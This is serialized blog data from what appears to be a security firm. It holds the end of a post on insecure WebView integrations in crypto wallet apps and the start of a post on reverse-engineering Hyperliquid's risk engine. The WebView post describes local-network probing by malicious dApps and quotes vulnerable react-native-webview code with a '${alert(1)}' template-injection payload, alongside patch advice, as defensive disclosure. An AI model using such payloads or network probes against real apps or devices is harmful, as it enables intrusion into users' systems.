",{"type":24,"tag":327,"props":164902,"children":164903},{"style":334},[164904],{"type":29,"value":40820},{"type":24,"tag":327,"props":164906,"children":164907},{"style":356},[164908],{"type":29,"value":320},{"type":24,"tag":327,"props":164910,"children":164911},{"style":381},[164912],{"type":29,"value":66},{"type":24,"tag":327,"props":164914,"children":164915},{"style":356},[164916],{"type":29,"value":164917},"latitude",{"type":24,"tag":327,"props":164919,"children":164920},{"style":381},[164921],{"type":29,"value":66},{"type":24,"tag":327,"props":164923,"children":164924},{"style":340},[164925],{"type":29,"value":164926},"toFixed",{"type":24,"tag":327,"props":164928,"children":164929},{"style":381},[164930],{"type":29,"value":349},{"type":24,"tag":327,"props":164932,"children":164933},{"style":397},[164934],{"type":29,"value":3238},{"type":24,"tag":327,"props":164936,"children":164937},{"style":381},[164938],{"type":29,"value":3146},{"type":24,"tag":327,"props":164940,"children":164941},{"style":334},[164942],{"type":29,"value":40852},{"type":24,"tag":327,"props":164944,"children":164945},{"style":55093},[164946],{"type":29,"value":55096},{"type":24,"tag":327,"props":164948,"children":164949},{"style":844},[164950],{"type":29,"value":164951},"Lon: ",{"type":24,"tag":327,"props":164953,"children":164954},{"style":334},[164955],{"type":29,"value":40820},{"type":24,"tag":327,"props":164957,"children":164958},{"style":356},[164959],{"type":29,"value":320},{"type":24,"tag":327,"props":164961,"children":164962},{"style":381},[164963],{"type":29,"value":66},{"type":24,"tag":327,"props":164965,"children":164966},{"style":356},[164967],{"type":29,"value":164968},"longitude",{"type":24,"tag":327,"props":164970,"children":164971},{"style":381},[164972],{"type":29,"value":66},{"type":24,"tag":327,"props":164974,"children":164975},{"style":340},[164976],{"type":29,"value":164926},{"type":24,"tag":327,"props":164978,"children":164979},{"style":381},[164980],{"type":29,"value":349},{"type":24,"tag":327,"props":164982,"children":164983},{"style":397},[164984],{"type":29,"value":3238},{"type":24,"tag":327,"props":164986,"children":164987},{"style":381},[164988],{"type":29,"value":3146},{"type":24,"tag":327,"props":164990,"children":164991},{"style":334},[164992],{"type":29,"value":40852},{"type":24,"tag":327,"props":164994,"children":164995},{"style":844},[164996],{"type":29,"value":17929},{"type":24,"tag":327,"props":164998,"children":164999},{"style":381},[165000],{"type":29,"value":405},{"type":24,"tag":327,"props":165002,"children":165003},{"class":329,"line":5225},[165004,165009,165013,165017,165022,165026,165030],{"type":24,"tag":327,"props":165005,"children":165006},{"style":381},[165007],{"type":29,"value":165008},"                }, ",{"type":24,"tag":327,"props":165010,"children":165011},{"style":356},[165012],{"type":29,"value":55140},{"type":24,"tag":327,"props":165014,"children":165015},{"style":334},[165016],{"type":29,"value":9225},{"type":24,"tag":327,"props":165018,"children":165019},{"style":340},[165020],{"type":29,"value":165021}," alert",{"type":24,"tag":327,"props":165023,"children":165024},{"style":381},[165025],{"type":29,"value":349},{"type":24,"tag":327,"props":165027,"children":165028},{"style":356},[165029],{"type":29,"value":55140},{"type":24,"tag":327,"props":165031,"children":165032},{"style":381},[165033],{"type":29,"value":14786},{"type":24,"tag":327,"props":165035,"children":165036},{"class":329,"line":5263},[165037],{"type":24,"tag":327,"props":165038,"children":165039},{"style":381},[165040],{"type":29,"value":54794},{"type":24,"tag":327,"props":165042,"children":165043},{"class":329,"line":5276},[165044],{"type":24,"tag":327,"props":165045,"children":165046},{"emptyLinePlaceholder":16},[165047],{"type":29,"value":544},{"type":24,"tag":327,"props":165049,"children":165050},{"class":329,"line":5289},[165051],{"type":24,"tag":327,"props":165052,"children":165053},{"style":381},[165054],{"type":29,"value":8989},{"type":24,"tag":327,"props":165056,"children":165057},{"class":329,"line":5302},[165058,165063],{"type":24,"tag":327,"props":165059,"children":165060},{"style":340},[165061],{"type":29,"value":165062},"        main",{"type":24,"tag":327,"props":165064,"children":165065},{"style":381},[165066],{"type":29,"value":4838},{"type":24,"tag":327,"props":165068,"children":165069},{"class":329,"line":5360},[165070,165074,165078],{"type":24,"tag":327,"props":165071,"children":165072},{"style":39086},[165073],{"type":29,"value":39539},{"type":24,"tag":327,"props":165075,"children":165076},{"style":334},[165077],{"type":29,"value":39126},{"type":24,"tag":327,"props":165079,"children":165080},{"style":39086},[165081],{"type":29,"value":9571},{"type":24,"tag":327,"props":165083,"children":165084},{"class":329,"line":5369},[165085,165089,165093],{"type":24,"tag":327,"props":165086,"children":165087},{"style":39086},[165088],{"type":29,"value":39140},{"type":24,"tag":327,"props":165090,"children":165091},{"style":334},[165092],{"type":29,"value":39110},{"type":24,"tag":327,"props":165094,"children":165095},{"style":39086},[165096],{"type":29,"value":9571},{"type":24,"tag":327,"props":165098,"children":165099},{"class":329,"line":38991},[165100,165104,165108],{"type":24,"tag":327,"props":165101,"children":165102},{"style":39086},[165103],{"type":29,"value":39140},{"type":24,"tag":327,"props":165105,"children":165106},{"style":334},[165107],{"type":29,"value":39093},{"type":24,"tag":327,"props":165109,"children":165110},{"style":39086},[165111],{"type":29,"value":9571},{"type":24,"tag":168,"props":165113,"children":165114},{"id":11797},[165115],{"type":29,"value":11800},{"type":24,"tag":25,"props":165117,"children":165118},{},[165119],{"type":29,"value":165120},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":24,"tag":25,"props":165122,"children":165123},{},[165124,165126,165132],{"type":29,"value":165125},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":24,"tag":57,"props":165127,"children":165130},{"href":165128,"rel":165129},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[61],[165131],{"type":29,"value":54304},{"type":29,"value":66},{"type":24,"tag":38056,"props":165134,"children":165135},{"style":38058},[165136],{"type":24,"tag":11511,"props":165137,"children":165141},{"src":165138,"alt":165139,"style":165140},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":165143,"children":165144},{},[165145],{"type":29,"value":165146},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":24,"tag":228,"props":165148,"children":165150},{"id":165149},"local-network-access",[165151],{"type":29,"value":165152},"Local Network Access",{"type":24,"tag":25,"props":165154,"children":165155},{},[165156,165158,165165,165167,165173],{"type":29,"value":165157},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":24,"tag":57,"props":165159,"children":165162},{"href":165160,"rel":165161},"https://wicg.github.io/private-network-access/",[61],[165163],{"type":29,"value":165164},"Private Network Access",{"type":29,"value":165166}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":24,"tag":57,"props":165168,"children":165171},{"href":165169,"rel":165170},"https://x.com/taviso/status/2051310678800253318",[61],[165172],{"type":29,"value":165169},{"type":29,"value":165174},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":24,"tag":38056,"props":165176,"children":165177},{"style":38058},[165178],{"type":24,"tag":11511,"props":165179,"children":165182},{"src":165180,"alt":165139,"style":165181},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":165184,"children":165185},{},[165186],{"type":29,"value":165187},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":24,"tag":165189,"props":165190,"children":165193},"zoom-image",{"src":165191,"alt":165192},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":24,"tag":25,"props":165195,"children":165196},{},[165197],{"type":29,"value":165198},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":24,"tag":1380,"props":165200,"children":165201},{},[165202,165207,165212],{"type":24,"tag":179,"props":165203,"children":165204},{},[165205],{"type":29,"value":165206},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":24,"tag":179,"props":165208,"children":165209},{},[165210],{"type":29,"value":165211},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":24,"tag":179,"props":165213,"children":165214},{},[165215],{"type":29,"value":165216},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":24,"tag":25,"props":165218,"children":165219},{},[165220],{"type":29,"value":165221},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":24,"tag":228,"props":165223,"children":165225},{"id":165224},"uxss-by-code-injection",[165226],{"type":29,"value":165227},"UXSS by Code Injection",{"type":24,"tag":25,"props":165229,"children":165230},{},[165231,165233,165239],{"type":29,"value":165232},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":24,"tag":284,"props":165234,"children":165236},{"className":165235},[],[165237],{"type":29,"value":165238},"injectJavascriptObject",{"type":29,"value":165240}," attribute worked. Here is the code snippet:",{"type":24,"tag":317,"props":165242,"children":165244},{"className":163480,"code":165243,"language":163482,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[165245],{"type":24,"tag":284,"props":165246,"children":165247},{"__ignoreMap":7},[165248,165268,165297,165331,165386,165491,165503,165516],{"type":24,"tag":327,"props":165249,"children":165250},{"class":329,"line":330},[165251,165255,165259,165264],{"type":24,"tag":327,"props":165252,"children":165253},{"style":334},[165254],{"type":29,"value":77508},{"type":24,"tag":327,"props":165256,"children":165257},{"style":1639},[165258],{"type":29,"value":57770},{"type":24,"tag":327,"props":165260,"children":165261},{"style":340},[165262],{"type":29,"value":165263}," injectJavascriptObject",{"type":24,"tag":327,"props":165265,"children":165266},{"style":346},[165267],{"type":29,"value":9697},{"type":24,"tag":327,"props":165269,"children":165270},{"class":329,"line":367},[165271,165275,165279,165284,165288,165293],{"type":24,"tag":327,"props":165272,"children":165273},{"style":425},[165274],{"type":29,"value":46000},{"type":24,"tag":327,"props":165276,"children":165277},{"style":346},[165278],{"type":29,"value":5894},{"type":24,"tag":327,"props":165280,"children":165281},{"style":340},[165282],{"type":29,"value":165283},"getSettings",{"type":24,"tag":327,"props":165285,"children":165286},{"style":346},[165287],{"type":29,"value":36877},{"type":24,"tag":327,"props":165289,"children":165290},{"style":340},[165291],{"type":29,"value":165292},"getJavaScriptEnabled",{"type":24,"tag":327,"props":165294,"children":165295},{"style":346},[165296],{"type":29,"value":98748},{"type":24,"tag":327,"props":165298,"children":165299},{"class":329,"line":408},[165300,165305,165310,165314,165319,165323,165327],{"type":24,"tag":327,"props":165301,"children":165302},{"style":1639},[165303],{"type":29,"value":165304},"        String",{"type":24,"tag":327,"props":165306,"children":165307},{"style":356},[165308],{"type":29,"value":165309}," js",{"type":24,"tag":327,"props":165311,"children":165312},{"style":381},[165313],{"type":29,"value":4809},{"type":24,"tag":327,"props":165315,"children":165316},{"style":844},[165317],{"type":29,"value":165318}," \"(function(){",{"type":24,"tag":327,"props":165320,"children":165321},{"style":55093},[165322],{"type":29,"value":55096},{"type":24,"tag":327,"props":165324,"children":165325},{"style":844},[165326],{"type":29,"value":1406},{"type":24,"tag":327,"props":165328,"children":165329},{"style":381},[165330],{"type":29,"value":17335},{"type":24,"tag":327,"props":165332,"children":165333},{"class":329,"line":421},[165334,165339,165343,165348,165352,165357,165361,165365,165369,165374,165378,165382],{"type":24,"tag":327,"props":165335,"children":165336},{"style":844},[165337],{"type":29,"value":165338},"          \"    window.\"",{"type":24,"tag":327,"props":165340,"children":165341},{"style":381},[165342],{"type":29,"value":4407},{"type":24,"tag":327,"props":165344,"children":165345},{"style":346},[165346],{"type":29,"value":165347}," JAVASCRIPT_INTERFACE ",{"type":24,"tag":327,"props":165349,"children":165350},{"style":381},[165351],{"type":29,"value":394},{"type":24,"tag":327,"props":165353,"children":165354},{"style":844},[165355],{"type":29,"value":165356}," \" = window.\"",{"type":24,"tag":327,"props":165358,"children":165359},{"style":381},[165360],{"type":29,"value":4407},{"type":24,"tag":327,"props":165362,"children":165363},{"style":346},[165364],{"type":29,"value":165347},{"type":24,"tag":327,"props":165366,"children":165367},{"style":381},[165368],{"type":29,"value":394},{"type":24,"tag":327,"props":165370,"children":165371},{"style":844},[165372],{"type":29,"value":165373}," \" || {};",{"type":24,"tag":327,"props":165375,"children":165376},{"style":55093},[165377],{"type":29,"value":55096},{"type":24,"tag":327,"props":165379,"children":165380},{"style":844},[165381],{"type":29,"value":1406},{"type":24,"tag":327,"props":165383,"children":165384},{"style":381},[165385],{"type":29,"value":17335},{"type":24,"tag":327,"props":165387,"children":165388},{"class":329,"line":450},[165389,165393,165397,165401,165405,165410,165414,165419,165423,165427,165431,165435,165439,165443,165448,165452,165457,165461,165466,165470,165474,165479,165483,165487],{"type":24,"tag":327,"props":165390,"children":165391},{"style":844},[165392],{"type":29,"value":165338},{"type":24,"tag":327,"props":165394,"children":165395},{"style":381},[165396],{"type":29,"value":4407},{"type":24,"tag":327,"props":165398,"children":165399},{"style":346},[165400],{"type":29,"value":165347},{"type":24,"tag":327,"props":165402,"children":165403},{"style":381},[165404],{"type":29,"value":394},{"type":24,"tag":327,"props":165406,"children":165407},{"style":844},[165408],{"type":29,"value":165409}," \".injectedObjectJson = function () { return \"",{"type":24,"tag":327,"props":165411,"children":165412},{"style":381},[165413],{"type":29,"value":4407},{"type":24,"tag":327,"props":165415,"children":165416},{"style":346},[165417],{"type":29,"value":165418}," (injectedJavaScriptObject ",{"type":24,"tag":327,"props":165420,"children":165421},{"style":381},[165422],{"type":29,"value":642},{"type":24,"tag":327,"props":165424,"children":165425},{"style":334},[165426],{"type":29,"value":76994},{"type":24,"tag":327,"props":165428,"children":165429},{"style":425},[165430],{"type":29,"value":104768},{"type":24,"tag":327,"props":165432,"children":165433},{"style":334},[165434],{"type":29,"value":76994},{"type":24,"tag":327,"props":165436,"children":165437},{"style":425},[165438],{"type":29,"value":41828},{"type":24,"tag":327,"props":165440,"children":165441},{"style":346},[165442],{"type":29,"value":5894},{"type":24,"tag":327,"props":165444,"children":165445},{"style":844},[165446],{"type":29,"value":165447},"\"`\"",{"type":24,"tag":327,"props":165449,"children":165450},{"style":381},[165451],{"type":29,"value":4407},{"type":24,"tag":327,"props":165453,"children":165454},{"style":346},[165455],{"type":29,"value":165456}," injectedJavaScriptObject ",{"type":24,"tag":327,"props":165458,"children":165459},{"style":381},[165460],{"type":29,"value":394},{"type":24,"tag":327,"props":165462,"children":165463},{"style":844},[165464],{"type":29,"value":165465}," \"`\"",{"type":24,"tag":327,"props":165467,"children":165468},{"style":346},[165469],{"type":29,"value":16395},{"type":24,"tag":327,"props":165471,"children":165472},{"style":381},[165473],{"type":29,"value":394},{"type":24,"tag":327,"props":165475,"children":165476},{"style":844},[165477],{"type":29,"value":165478}," \"; };",{"type":24,"tag":327,"props":165480,"children":165481},{"style":55093},[165482],{"type":29,"value":55096},{"type":24,"tag":327,"props":165484,"children":165485},{"style":844},[165486],{"type":29,"value":1406},{"type":24,"tag":327,"props":165488,"children":165489},{"style":381},[165490],{"type":29,"value":17335},{"type":24,"tag":327,"props":165492,"children":165493},{"class":329,"line":481},[165494,165499],{"type":24,"tag":327,"props":165495,"children":165496},{"style":844},[165497],{"type":29,"value":165498},"          \"})();\"",{"type":24,"tag":327,"props":165500,"children":165501},{"style":346},[165502],{"type":29,"value":405},{"type":24,"tag":327,"props":165504,"children":165505},{"class":329,"line":500},[165506,165511],{"type":24,"tag":327,"props":165507,"children":165508},{"style":340},[165509],{"type":29,"value":165510},"        evaluateJavascriptWithFallback",{"type":24,"tag":327,"props":165512,"children":165513},{"style":346},[165514],{"type":29,"value":165515},"(js);\n",{"type":24,"tag":327,"props":165517,"children":165518},{"class":329,"line":529},[165519],{"type":24,"tag":327,"props":165520,"children":165521},{"style":346},[165522],{"type":29,"value":20208},{"type":24,"tag":25,"props":165524,"children":165525},{},[165526,165528,165534,165536,165541,165543,165549],{"type":29,"value":165527},"It basically injects a javascript code with the ",{"type":24,"tag":284,"props":165529,"children":165531},{"className":165530},[],[165532],{"type":29,"value":165533},"injectedJavascriptObject",{"type":29,"value":165535}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":24,"tag":284,"props":165537,"children":165539},{"className":165538},[],[165540],{"type":29,"value":165533},{"type":29,"value":165542},". If we control a single attribute we can inject a payload like ",{"type":24,"tag":284,"props":165544,"children":165546},{"className":165545},[],[165547],{"type":29,"value":165548},"${alert(1)}",{"type":29,"value":165550}," and achieve XSS in the context of the loaded page.",{"type":24,"tag":25,"props":165552,"children":165553},{},[165554,165556,165563],{"type":29,"value":165555},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":24,"tag":57,"props":165557,"children":165560},{"href":165558,"rel":165559},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[61],[165561],{"type":29,"value":165562},"PR with the report and fix",{"type":29,"value":66},{"type":24,"tag":25,"props":165565,"children":165566},{},[165567],{"type":29,"value":165568},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":24,"tag":25,"props":165570,"children":165571},{},[165572,165574,165580],{"type":29,"value":165573},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":24,"tag":284,"props":165575,"children":165577},{"className":165576},[],[165578],{"type":29,"value":165579},"injectedJavaScriptObject",{"type":29,"value":165581}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":24,"tag":235,"props":165583,"children":165584},{"id":10412},[165585],{"type":29,"value":226},{"type":24,"tag":25,"props":165587,"children":165588},{},[165589],{"type":29,"value":165590},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":24,"tag":10448,"props":165592,"children":165593},{},[165594],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":165596},[165597,165601,165604,165605],{"id":163320,"depth":367,"text":163323,"children":165598},[165599,165600],{"id":163331,"depth":408,"text":163334},{"id":163406,"depth":408,"text":163409},{"id":163439,"depth":367,"text":163442,"children":165602},[165603],{"id":163629,"depth":408,"text":163632},{"id":165149,"depth":367,"text":165152},{"id":165224,"depth":367,"text":165227,"children":165606},[165607],{"id":10412,"depth":408,"text":226},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":165612,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":165613,"description":165614,"date":165615,"author":165616,"image":165617,"isFeatured":16,"onBlogPage":16,"tags":165621,"hideToc":16,"body":165625,"_type":10481,"_id":172264,"_source":10483,"_file":172265,"_stem":172266,"_extension":10486},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":165618,"width":165619,"height":165620},"/posts/hyperliquid-risk-engine/title.png",1456,816,[165622,165623,165624],"hyperliquid","reverse-engineering","defi",{"type":21,"children":165626,"toc":172236},[165627,165633,165641,165646,165651,165656,165668,165673,165686,165705,165711,165723,165736,165741,165772,165777,165790,165795,165986,165992,165997,166009,166015,166020,166026,166039,166073,166078,166083,166095,166101,166121,166129,166142,166148,166159,166165,166177,166182,166188,166208,166216,166222,166256,166260,166296,166301,166306,166311,166324,166361,166366,166380,166386,166391,166417,166425,166430,166458,166463,166468,166806,166811,166816,166836,166863,166868,166881,166893,166898,166903,166909,166914,166919,166933,166938,166944,166972,167009,167020,167024,167029,167034,167040,167206,167241,167246,167252,167258,167447,167460,167465,167471,167492,167497,167503,167508,167513,167525,167530,167535,167541,167546,167551,167557,167563,167576,167609,167614,170190,170458,170463,171793,171798,171803,171815,171906,171918,171923,171929,171934,171942,171947,171955,171961,171995,172006,172014,172020,172026,172031,172039,172044,172049,172057,172069,172075,172080,172086,172097,172102,172108,172113,172118,172124,172129,172132,172137,172142,172148,172153,172165,172170,172175],{"type":24,"tag":228,"props":165628,"children":165630},{"id":165629},"perpetuals",[165631],{"type":29,"value":165632},"Perpetuals",{"type":24,"tag":1706,"props":165634,"children":165635},{},[165636],{"type":24,"tag":25,"props":165637,"children":165638},{},[165639],{"type":29,"value":165640},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":24,"tag":25,"props":165642,"children":165643},{},[165644],{"type":29,"value":165645},"What does that even have to do with reverse engineering?",{"type":24,"tag":228,"props":165647,"children":165648},{"id":165622},[165649],{"type":29,"value":165650},"Hyperliquid",{"type":24,"tag":25,"props":165652,"children":165653},{},[165654],{"type":29,"value":165655},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":24,"tag":25,"props":165657,"children":165658},{},[165659,165661,165666],{"type":29,"value":165660},"The node is tasked with a ",{"type":24,"tag":42,"props":165662,"children":165663},{},[165664],{"type":29,"value":165665},"very hard problem",{"type":29,"value":165667},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":24,"tag":25,"props":165669,"children":165670},{},[165671],{"type":29,"value":165672},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":24,"tag":25,"props":165674,"children":165675},{},[165676,165678,165684],{"type":29,"value":165677},"Beyond that, the ",{"type":24,"tag":284,"props":165679,"children":165681},{"className":165680},[],[165682],{"type":29,"value":165683},"hl-node",{"type":29,"value":165685}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":24,"tag":25,"props":165687,"children":165688},{},[165689,165691,165696,165698,165703],{"type":29,"value":165690},"Armed with some curiosity, a good amount of ",{"type":24,"tag":42,"props":165692,"children":165693},{},[165694],{"type":29,"value":165695},"inference",{"type":29,"value":165697},", and the right tooling, we'll take a deep dive using an ",{"type":24,"tag":42,"props":165699,"children":165700},{},[165701],{"type":29,"value":165702},"interactive interface",{"type":29,"value":165704},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":24,"tag":228,"props":165706,"children":165708},{"id":165707},"the-million-dollar-question",[165709],{"type":29,"value":165710},"The Million Dollar Question",{"type":24,"tag":25,"props":165712,"children":165713},{},[165714,165716,165721],{"type":29,"value":165715},"Let's say a terrible trader opens a ",{"type":24,"tag":42,"props":165717,"children":165718},{},[165719],{"type":29,"value":165720},"50x",{"type":29,"value":165722}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":24,"tag":25,"props":165724,"children":165725},{},[165726,165728,165734],{"type":29,"value":165727},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":24,"tag":284,"props":165729,"children":165731},{"className":165730},[],[165732],{"type":29,"value":165733},"compute_margin_requirement_by_mode",{"type":29,"value":165735}," function.",{"type":24,"tag":25,"props":165737,"children":165738},{},[165739],{"type":29,"value":165740},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":24,"tag":165742,"props":165743,"children":165744},"tip",{},[165745],{"type":24,"tag":25,"props":165746,"children":165747},{},[165748,165750,165755,165757,165764,165766,165771],{"type":29,"value":165749},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":24,"tag":42,"props":165751,"children":165752},{},[165753],{"type":29,"value":165754},"click through",{"type":29,"value":165756}," each action performed by ",{"type":24,"tag":57,"props":165758,"children":165761},{"href":165759,"rel":165760},"https://github.com/renato-osec/patina-research",[61],[165762],{"type":29,"value":165763},"our Rust reverse engineering agent",{"type":29,"value":165765},". Return to the regular view by clicking ",{"type":24,"tag":284,"props":165767,"children":165769},{"className":165768},[],[165770],{"type":29,"value":13555},{"type":29,"value":66},{"type":24,"tag":165773,"props":165774,"children":165776},"bndb-viewer-embed",{"addr":165775,"line-start":3238,"line-end":141281},"0x555556bb4d20",[],{"type":24,"tag":25,"props":165778,"children":165779},{},[165780,165782,165788],{"type":29,"value":165781},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":24,"tag":284,"props":165783,"children":165785},{"className":165784},[],[165786],{"type":29,"value":165787},"OptionUnitQty",{"type":29,"value":165789},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":24,"tag":25,"props":165791,"children":165792},{},[165793],{"type":29,"value":165794},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":24,"tag":317,"props":165796,"children":165797},{},[165798],{"type":24,"tag":284,"props":165799,"children":165802},{"className":165800},[2949,165801],"math-display",[165803],{"type":24,"tag":327,"props":165804,"children":165807},{"className":165805},[165806],"katex-display",[165808],{"type":24,"tag":327,"props":165809,"children":165811},{"className":165810},[2955],[165812],{"type":24,"tag":327,"props":165813,"children":165815},{"className":165814,"ariaHidden":2961},[2960],[165816,165847],{"type":24,"tag":327,"props":165817,"children":165819},{"className":165818},[2966],[165820,165824,165834,165838,165843],{"type":24,"tag":327,"props":165821,"children":165823},{"className":165822,"style":101187},[2971],[],{"type":24,"tag":327,"props":165825,"children":165827},{"className":165826},[2977,29],[165828],{"type":24,"tag":327,"props":165829,"children":165831},{"className":165830},[2977],[165832],{"type":29,"value":165833},"liq_equity",{"type":24,"tag":327,"props":165835,"children":165837},{"className":165836,"style":2993},[2992],[],{"type":24,"tag":327,"props":165839,"children":165841},{"className":165840},[2998],[165842],{"type":29,"value":384},{"type":24,"tag":327,"props":165844,"children":165846},{"className":165845,"style":2993},[2992],[],{"type":24,"tag":327,"props":165848,"children":165850},{"className":165849},[2966],[165851,165856],{"type":24,"tag":327,"props":165852,"children":165855},{"className":165853,"style":165854},[2971],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":24,"tag":327,"props":165857,"children":165859},{"className":165858},[2977],[165860,165864,165982],{"type":24,"tag":327,"props":165861,"children":165863},{"className":165862},[3121,120292],[],{"type":24,"tag":327,"props":165865,"children":165867},{"className":165866},[120297],[165868],{"type":24,"tag":327,"props":165869,"children":165871},{"className":165870},[3037,3038],[165872,165970],{"type":24,"tag":327,"props":165873,"children":165875},{"className":165874},[3043],[165876,165965],{"type":24,"tag":327,"props":165877,"children":165880},{"className":165878,"style":165879},[3048],"height:1.427em;",[165881,165921,165932],{"type":24,"tag":327,"props":165882,"children":165884},{"style":165883},"top:-2.314em;",[165885,165889],{"type":24,"tag":327,"props":165886,"children":165888},{"className":165887,"style":118945},[3058],[],{"type":24,"tag":327,"props":165890,"children":165892},{"className":165891},[2977],[165893,165898,165902,165907,165911],{"type":24,"tag":327,"props":165894,"children":165896},{"className":165895},[2977],[165897],{"type":29,"value":10731},{"type":24,"tag":327,"props":165899,"children":165901},{"className":165900,"style":3705},[2992],[],{"type":24,"tag":327,"props":165903,"children":165905},{"className":165904},[3710],[165906],{"type":29,"value":118036},{"type":24,"tag":327,"props":165908,"children":165910},{"className":165909,"style":3705},[2992],[],{"type":24,"tag":327,"props":165912,"children":165914},{"className":165913},[2977,29],[165915],{"type":24,"tag":327,"props":165916,"children":165918},{"className":165917},[2977],[165919],{"type":29,"value":165920},"leverage",{"type":24,"tag":327,"props":165922,"children":165923},{"style":120347},[165924,165928],{"type":24,"tag":327,"props":165925,"children":165927},{"className":165926,"style":118945},[3058],[],{"type":24,"tag":327,"props":165929,"children":165931},{"className":165930,"style":120357},[120356],[],{"type":24,"tag":327,"props":165933,"children":165935},{"style":165934},"top:-3.677em;",[165936,165940],{"type":24,"tag":327,"props":165937,"children":165939},{"className":165938,"style":118945},[3058],[],{"type":24,"tag":327,"props":165941,"children":165943},{"className":165942},[2977],[165944,165950,165960],{"type":24,"tag":327,"props":165945,"children":165947},{"className":165946},[2977],[165948],{"type":29,"value":165949},"∣",{"type":24,"tag":327,"props":165951,"children":165953},{"className":165952},[2977,29],[165954],{"type":24,"tag":327,"props":165955,"children":165957},{"class